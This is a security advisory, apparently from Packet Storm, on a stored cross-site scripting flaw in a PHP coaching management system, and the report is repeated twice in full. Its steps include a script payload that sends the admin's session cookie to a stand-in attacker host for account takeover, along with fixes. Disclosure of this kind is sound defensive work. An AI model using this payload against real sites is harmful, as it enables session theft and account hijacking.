5.1
/ 10
MEDIUM
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/SC:N/VI:L/SI:N/VA:N/SA:N/E:P
Description
Coaching Management System version 1.0 suffers from a persistent cross site scripting vulnerability...
Basic Information
ID
PACKETSTORM:220047
Published
Apr 29, 2026 at 00:00
Affected Product
Affected Versions
### Stored Cross-Site Scripting (XSS) in Coaching Management System Leads to Account Takeover
---
## Product
Coaching Management System in PHP (Code-Projects.org)
https://code-projects.org/coaching-management-system-in-php-with-source-code/
---
## Affected Components
* /modules/student/complaint.php (Complaint Submission)
* /modules/admin/incomingcomplaint.php (Complaint Viewing)
* Complaint Reply Functionality (Admin/Teacher → Student)
---
## Version
Unknown (No version information provided by the vendor; tested on the latest available version from Code-Projects.org as of April 2026)
---
## Vulnerability Type
CWE-79: Improper Neutralization of Input During Web Page Generation (Stored Cross-Site Scripting)
---
## Description
The application fails to properly sanitize user-supplied input in the complaint and reply functionality. Malicious JavaScript injected by a low-privileged user is stored and executed when viewed by higher-privileged users such as administrators or teachers.
Additionally, the reply functionality is also vulnerable, allowing administrators or teachers to inject JavaScript that executes in student sessions.
This results in stored XSS vulnerability affecting multiple user roles.
---
## Steps to Reproduce
### Case 1: Student → Admin (Privilege Escalation)
1. Login as Student
2. Navigate to:
/modules/student/complaint.php
<img width="1920" height="1080" alt="Screenshot 2026-04-10 212940" src="https://github.com/user-attachments/assets/2e6e72ed-bd2f-4e77-850a-a0b0f28a6aba" />
4. Submit a complaint with the following payload:
```html
<script>
new Image().src="http://ATTACKER-IP:PORT/?c="+document.cookie;
</script>
```
<img width="1920" height="1080" alt="Screenshot 2026-04-10 213341" src="https://github.com/user-attachments/assets/dbddb6ef-6380-403e-91da-fc8012d0d08b" />
4. Login as Admin
5. Navigate to:
/modules/admin/incomingcomplaint.php
<img width="1920" height="1080" alt="Screenshot 2026-04-10 212951" src="https://github.com/user-attachments/assets/c4e07392-a5ff-4885-8f5f-ac5e1da4ac25" />
7. When the admin views the complaint, the payload executes automatically
8. The admin session cookie is sent to the attacker-controlled server
9. Use the stolen session cookie to hijack the admin session
<img width="1920" height="1080" alt="Screenshot 2026-04-10 213350" src="https://github.com/user-attachments/assets/432fa992-6147-4abb-b37d-11e8f84c7fb4" />
<img width="1920" height="1080" alt="Screenshot 2026-04-10 213406" src="https://github.com/user-attachments/assets/935f3cda-c802-401b-bd6d-8a6783078586" />
---
### Case 2: Admin → Student (Reverse XSS)
1. Login as Admin
2. Reply to a complaint using payload:
```html
<img src=x onerror=alert(window.location)>
```
3. Login as Student
4. View the complaint reply
---
## Proof of Concept Evidence
* JavaScript execution confirmed in admin panel upon viewing malicious complaint
* Session cookie (PHPSESSID) successfully exfiltrated via attacker-controlled server
* Admin session hijacked using stolen cookie
* JavaScript execution confirmed in student panel via reply functionality
---
## Impact
* Low-privileged users (students) can execute arbitrary JavaScript in admin context
* Leads to session hijacking due to absence of HttpOnly flag
* Full administrative account takeover
* Bidirectional XSS allows compromise of multiple roles (Admin, Teacher, Student)
* Complete compromise of application integrity, confidentiality, and availability
Severity: CRITICAL
---
## Root Cause
* Lack of input sanitization
* Absence of output encoding
* Missing security controls on session cookies (HttpOnly flag not set)
---
## Recommendation
* Sanitize and validate all user inputs.
* Encode output using functions like htmlspecialchars() in PHP
* Set HttpOnly and Secure flags on session cookies
* Implement Content Security Policy (CSP)
---
---
## Product
Coaching Management System in PHP (Code-Projects.org)
https://code-projects.org/coaching-management-system-in-php-with-source-code/
---
## Affected Components
* /modules/student/complaint.php (Complaint Submission)
* /modules/admin/incomingcomplaint.php (Complaint Viewing)
* Complaint Reply Functionality (Admin/Teacher → Student)
---
## Version
Unknown (No version information provided by the vendor; tested on the latest available version from Code-Projects.org as of April 2026)
---
## Vulnerability Type
CWE-79: Improper Neutralization of Input During Web Page Generation (Stored Cross-Site Scripting)
---
## Description
The application fails to properly sanitize user-supplied input in the complaint and reply functionality. Malicious JavaScript injected by a low-privileged user is stored and executed when viewed by higher-privileged users such as administrators or teachers.
Additionally, the reply functionality is also vulnerable, allowing administrators or teachers to inject JavaScript that executes in student sessions.
This results in stored XSS vulnerability affecting multiple user roles.
---
## Steps to Reproduce
### Case 1: Student → Admin (Privilege Escalation)
1. Login as Student
2. Navigate to:
/modules/student/complaint.php
<img width="1920" height="1080" alt="Screenshot 2026-04-10 212940" src="https://github.com/user-attachments/assets/2e6e72ed-bd2f-4e77-850a-a0b0f28a6aba" />
4. Submit a complaint with the following payload:
```html
<script>
new Image().src="http://ATTACKER-IP:PORT/?c="+document.cookie;
</script>
```
<img width="1920" height="1080" alt="Screenshot 2026-04-10 213341" src="https://github.com/user-attachments/assets/dbddb6ef-6380-403e-91da-fc8012d0d08b" />
4. Login as Admin
5. Navigate to:
/modules/admin/incomingcomplaint.php
<img width="1920" height="1080" alt="Screenshot 2026-04-10 212951" src="https://github.com/user-attachments/assets/c4e07392-a5ff-4885-8f5f-ac5e1da4ac25" />
7. When the admin views the complaint, the payload executes automatically
8. The admin session cookie is sent to the attacker-controlled server
9. Use the stolen session cookie to hijack the admin session
<img width="1920" height="1080" alt="Screenshot 2026-04-10 213350" src="https://github.com/user-attachments/assets/432fa992-6147-4abb-b37d-11e8f84c7fb4" />
<img width="1920" height="1080" alt="Screenshot 2026-04-10 213406" src="https://github.com/user-attachments/assets/935f3cda-c802-401b-bd6d-8a6783078586" />
---
### Case 2: Admin → Student (Reverse XSS)
1. Login as Admin
2. Reply to a complaint using payload:
```html
<img src=x onerror=alert(window.location)>
```
3. Login as Student
4. View the complaint reply
---
## Proof of Concept Evidence
* JavaScript execution confirmed in admin panel upon viewing malicious complaint
* Session cookie (PHPSESSID) successfully exfiltrated via attacker-controlled server
* Admin session hijacked using stolen cookie
* JavaScript execution confirmed in student panel via reply functionality
---
## Impact
* Low-privileged users (students) can execute arbitrary JavaScript in admin context
* Leads to session hijacking due to absence of HttpOnly flag
* Full administrative account takeover
* Bidirectional XSS allows compromise of multiple roles (Admin, Teacher, Student)
* Complete compromise of application integrity, confidentiality, and availability
Severity: CRITICAL
---
## Root Cause
* Lack of input sanitization
* Absence of output encoding
* Missing security controls on session cookies (HttpOnly flag not set)
---
## Recommendation
* Sanitize and validate all user inputs.
* Encode output using functions like htmlspecialchars() in PHP
* Set HttpOnly and Secure flags on session cookies
* Implement Content Security Policy (CSP)
---